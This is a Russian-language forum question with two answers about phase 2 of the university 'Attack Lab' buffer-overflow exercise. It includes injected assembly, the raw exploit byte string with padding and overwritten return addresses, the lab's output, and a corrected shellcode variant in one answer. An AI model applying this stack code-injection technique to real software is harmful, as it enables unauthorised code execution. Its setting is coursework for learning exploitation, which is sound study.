Атака переполнения буфера (The Attack Lab, фаза 2) - PullRequest
0 голосов
/ 12 ноября 2018

У меня есть лаборатория переполнения буфера, которую я должен сделать для проекта под названием The Attack Lab . Я на втором этапе лаборатории, и мне нужно ввести код как часть моей строки эксплойта, чтобы программа указала на адрес функции touch2 (). Я дошел до того, что вывод говорит, что это правильное решение для фазы 2, но затем он говорит, что я вызвал ошибку сегмента, а затем говорит, что я потерпел неудачу в фазе.

Это сообщение об ошибке, которое я получаю

cookie:  0x2d6fc2d5
Type string:Touch2!: You called touch2(0x2d6fc2d5)
valid solution for level 2 with target ctarget
ouch! You caused a segmentation fault!
better luck next time
FAILED

это мой код эксплойта в сборке

mov1 $0x2d6fc2d5, %rdi
retq

это то, что я передаю в программу

48 c7 c7 d5 c2 6f 2d c3 #bytecode of exploit code
00 00 00 00 00 00 00 00 #padding of 0x38, amount needed to overwrite ret address 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 bd 66 55 00 00 00 00 #address of rsp - 0x38
0d 18 40 00 00 00 00 00 #address of touch2()

Я смотрел онлайн-уроки и работал над этим часами, но я не нашел решения, и я не уверен, что является причиной проблемы. Он говорит, что решение является действительным, но затем обнаруживает неисправности и дает сбой. Буду признателен за любую помощь, и дайте мне знать, если есть что-то, что нуждается в разъяснении!

Ответы [ 2 ]

0 голосов
/ 23 ноября 2018

Кажется, что лаборатория атаки была недавно подправлена. Вам следует избегать перезаписи следующей части адреса возврата в стеке

Вместо этого вы можете использовать команду push для добавления значений в стек. Попробуйте удалить адрес touch2 из ввода и используйте следующий код.

mov $0x2d6fc2d5, %rdi
pushq $0x40180d
ret
0 голосов
/ 12 ноября 2018

Печать строки «правильное решение» эквивалентна запуску вашего неавторизованного кода, так что, по моему мнению, вы уже победили, несмотря на ошибку сегмента.

Я полагаю, у вас слишком много отступов. Размер буфера составляет, вероятно, 24 символа, и у вас есть 6 строк буфера, поэтому я предполагаю, что вы проходите мимо rsp, перепрыгиваете куда-то неверно, вызывая segfault.

...